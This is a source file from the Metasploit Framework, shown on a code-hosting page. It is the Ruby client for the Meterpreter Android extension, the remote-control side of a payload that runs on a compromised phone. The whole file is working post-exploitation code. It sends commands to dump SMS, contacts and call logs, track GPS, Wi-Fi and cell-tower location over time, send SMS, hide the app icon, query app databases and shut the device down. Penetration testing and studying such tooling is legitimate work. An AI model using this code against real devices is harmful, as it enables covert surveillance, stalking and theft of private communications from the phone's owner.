CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/post/meterpreter/extensions/android/android.rb
Views: 1904
1
#
2
# -*- coding: binary -*-
3
require 'rex/post/meterpreter/extensions/android/tlv'
4
require 'rex/post/meterpreter/extensions/android/command_ids'
5
require 'rex/post/meterpreter/packet'
6
require 'rex/post/meterpreter/client'
7
require 'rex/post/meterpreter/channels/pools/stream_pool'
8
9
module Rex
10
module Post
11
module Meterpreter
12
module Extensions
13
module Android
14
15
###
16
# Android extension - set of commands to be executed on android devices.
17
# extension by Anwar Mohamed (@anwarelmakrahy)
18
###
19
20
class Android < Extension
21
22
COLLECT_TYPE_WIFI = 1
23
COLLECT_TYPE_GEO = 2
24
COLLECT_TYPE_CELL = 3
25
26
COLLECT_ACTION_START = 1
27
COLLECT_ACTION_PAUSE = 2
28
COLLECT_ACTION_RESUME = 3
29
COLLECT_ACTION_STOP = 4
30
COLLECT_ACTION_DUMP = 5
31
32
COLLECT_TYPES = {
33
'wifi' => COLLECT_TYPE_WIFI,
34
'geo' => COLLECT_TYPE_GEO,
35
'cell' => COLLECT_TYPE_CELL,
36
}
37
38
COLLECT_ACTIONS = {
39
'start' => COLLECT_ACTION_START,
40
'pause' => COLLECT_ACTION_PAUSE,
41
'resume' => COLLECT_ACTION_START,
42
'stop' => COLLECT_ACTION_STOP,
43
'dump' => COLLECT_ACTION_DUMP
44
}
45
46
def self.extension_id
47
EXTENSION_ID_ANDROID
48
end
49
50
def initialize(client)
51
super(client, 'android')
52
53
# Alias the following things on the client object so that they
54
# can be directly referenced
55
client.register_extension_aliases(
56
[
57
{
58
'name' => 'android',
59
'ext' => self
60
}
61
])
62
end
63
64
def collect_actions
65
return @@collect_action_list ||= COLLECT_ACTIONS.keys
66
end
67
68
def collect_types
69
return @@collect_type_list ||= COLLECT_TYPES.keys
70
end
71
72
def device_shutdown(n)
73
request = Packet.create_request(COMMAND_ID_ANDROID_DEVICE_SHUTDOWN)
74
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
75
response = client.send_request(request)
76
response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
77
end
78
79
def set_audio_mode(n)
80
request = Packet.create_request(COMMAND_ID_ANDROID_SET_AUDIO_MODE)
81
request.add_tlv(TLV_TYPE_AUDIO_MODE, n)
82
client.send_request(request)
83
end
84
85
def interval_collect(opts)
86
request = Packet.create_request(COMMAND_ID_ANDROID_INTERVAL_COLLECT)
87
request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])
88
request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])
89
request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])
90
response = client.send_request(request)
91
92
result = {
93
headers: [],
94
collections: []
95
}
96
97
case COLLECT_TYPES[opts[:type]]
98
when COLLECT_TYPE_WIFI
99
result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level']
100
result[:entries] = []
101
records = {}
102
103
response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
104
timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
105
timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')
106
107
g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w|
108
bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID)
109
ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID)
110
key = "#{bssid}-#{ssid}"
111
112
if !records.include?(key) || records[key][0] < timestamp
113
# Level is passed through as positive, because UINT
114
# but we flip it back to negative on this side
115
level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL)
116
records[key] = [timestamp, bssid, ssid, level]
117
end
118
end
119
end
120
121
records.each do |k, v|
122
result[:entries] << v
123
end
124
125
when COLLECT_TYPE_GEO
126
result[:headers] = ['Timestamp', 'Latitude', 'Longitude']
127
result[:entries] = []
128
records = {}
129
130
response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
131
timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
132
timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')
133
134
g.each(TLV_TYPE_COLLECT_RESULT_GEO) do |w|
135
lat = w.get_tlv_value(TLV_TYPE_GEO_LAT)
136
lng = w.get_tlv_value(TLV_TYPE_GEO_LONG)
137
result[:entries] << [timestamp, lat, lng]
138
end
139
end
140
141
when COLLECT_TYPE_CELL
142
result[:headers] = ['Timestamp', 'Cell Info']
143
result[:entries] = []
144
records = {}
145
146
response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
147
timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
148
timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')
149
150
g.each(TLV_TYPE_COLLECT_RESULT_CELL) do |cell|
151
152
cell.each(TLV_TYPE_CELL_ACTIVE_GSM) do |info|
153
cid = info.get_tlv_value(TLV_TYPE_CELL_CID)
154
lac = info.get_tlv_value(TLV_TYPE_CELL_LAC)
155
psc = info.get_tlv_value(TLV_TYPE_CELL_PSC)
156
info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc)
157
result[:entries] << [timestamp, "GSM: #{info}"]
158
end
159
160
cell.each(TLV_TYPE_CELL_ACTIVE_CDMA) do |info|
161
bid = info.get_tlv_value(TLV_TYPE_CELL_BASE_ID)
162
lat = info.get_tlv_value(TLV_TYPE_CELL_BASE_LAT)
163
lng = info.get_tlv_value(TLV_TYPE_CELL_BASE_LONG)
164
net = info.get_tlv_value(TLV_TYPE_CELL_NET_ID)
165
sys = info.get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID)
166
info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys)
167
result[:entries] << [timestamp, "CDMA: #{info}"]
168
end
169
170
cell.each(TLV_TYPE_CELL_NEIGHBOR) do |w|
171
net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE)
172
cid = w.get_tlv_value(TLV_TYPE_CELL_CID)
173
lac = w.get_tlv_value(TLV_TYPE_CELL_LAC)
174
psc = w.get_tlv_value(TLV_TYPE_CELL_PSC)
175
sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1
176
inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig)
177
result[:entries] << [timestamp, inf]
178
end
179
180
end
181
end
182
end
183
184
result
185
end
186
187
def dump_sms
188
sms = []
189
request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_SMS)
190
response = client.send_request(request)
191
192
response.each(TLV_TYPE_SMS_GROUP) do |p|
193
sms << {
194
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
195
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
196
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
197
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
198
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
199
}
200
end
201
sms
202
end
203
204
def dump_contacts
205
contacts = []
206
request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CONTACTS)
207
response = client.send_request(request)
208
209
response.each(TLV_TYPE_CONTACT_GROUP) do |p|
210
contacts << {
211
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
212
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
213
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
214
}
215
end
216
contacts
217
end
218
219
def geolocate
220
loc = []
221
request = Packet.create_request(COMMAND_ID_ANDROID_GEOLOCATE)
222
response = client.send_request(request)
223
224
loc << {
225
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
226
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
227
}
228
229
loc
230
end
231
232
def dump_calllog
233
log = []
234
request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CALLLOG)
235
response = client.send_request(request)
236
237
response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
238
log << {
239
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
240
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
241
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
242
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
243
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
244
}
245
end
246
log
247
end
248
249
def check_root
250
request = Packet.create_request(COMMAND_ID_ANDROID_CHECK_ROOT)
251
response = client.send_request(request)
252
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
253
end
254
255
def hide_app_icon
256
request = Packet.create_request(COMMAND_ID_ANDROID_HIDE_APP_ICON)
257
response = client.send_request(request)
258
response.get_tlv_value(TLV_TYPE_ICON_NAME)
259
end
260
261
def activity_start(uri)
262
request = Packet.create_request(COMMAND_ID_ANDROID_ACTIVITY_START)
263
request.add_tlv(TLV_TYPE_URI_STRING, uri)
264
response = client.send_request(request)
265
if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value
266
return nil
267
else
268
return response.get_tlv(TLV_TYPE_ACTIVITY_START_ERROR).value
269
end
270
end
271
272
def set_wallpaper(data)
273
request = Packet.create_request(COMMAND_ID_ANDROID_SET_WALLPAPER)
274
request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data)
275
client.send_request(request)
276
end
277
278
def send_sms(dest, body, dr)
279
request = Packet.create_request(COMMAND_ID_ANDROID_SEND_SMS)
280
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
281
request.add_tlv(TLV_TYPE_SMS_BODY, body)
282
request.add_tlv(TLV_TYPE_SMS_DR, dr)
283
if dr == false
284
response = client.send_request(request)
285
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
286
return sr
287
else
288
response = client.send_request(request, 30)
289
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
290
dr = response.get_tlv(TLV_TYPE_SMS_SR).value
291
return [sr, dr]
292
end
293
end
294
295
def wlan_geolocate
296
request = Packet.create_request(COMMAND_ID_ANDROID_WLAN_GEOLOCATE)
297
response = client.send_request(request, 30)
298
networks = []
299
response.each(TLV_TYPE_WLAN_GROUP) do |p|
300
networks << {
301
'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
302
'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
303
'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
304
}
305
end
306
networks
307
end
308
309
def sqlite_query(dbname, query, writeable)
310
request = Packet.create_request(COMMAND_ID_ANDROID_SQLITE_QUERY)
311
request.add_tlv(TLV_TYPE_SQLITE_NAME, dbname)
312
request.add_tlv(TLV_TYPE_SQLITE_QUERY, query)
313
request.add_tlv(TLV_TYPE_SQLITE_WRITE, writeable)
314
response = client.send_request(request, 30)
315
error_msg = response.get_tlv(TLV_TYPE_SQLITE_ERROR)
316
raise "SQLiteException: #{error_msg.value}" if error_msg
317
318
unless writeable
319
result = {
320
columns: [],
321
rows: []
322
}
323
data = response.get_tlv(TLV_TYPE_SQLITE_RESULT_GROUP)
324
unless data.nil?
325
columns = data.get_tlv(TLV_TYPE_SQLITE_RESULT_COLS)
326
result[:columns] = columns.get_tlv_values(TLV_TYPE_SQLITE_VALUE)
327
data.each(TLV_TYPE_SQLITE_RESULT_ROW) do |row|
328
result[:rows] << row.get_tlv_values(TLV_TYPE_SQLITE_VALUE)
329
end
330
end
331
result
332
end
333
end
334
335
def wakelock(flags)
336
request = Packet.create_request(COMMAND_ID_ANDROID_WAKELOCK)
337
request.add_tlv(TLV_TYPE_FLAGS, flags)
338
client.send_request(request)
339
end
340
341
end
342
end
343
end
344
end
345
end
346
end
347
348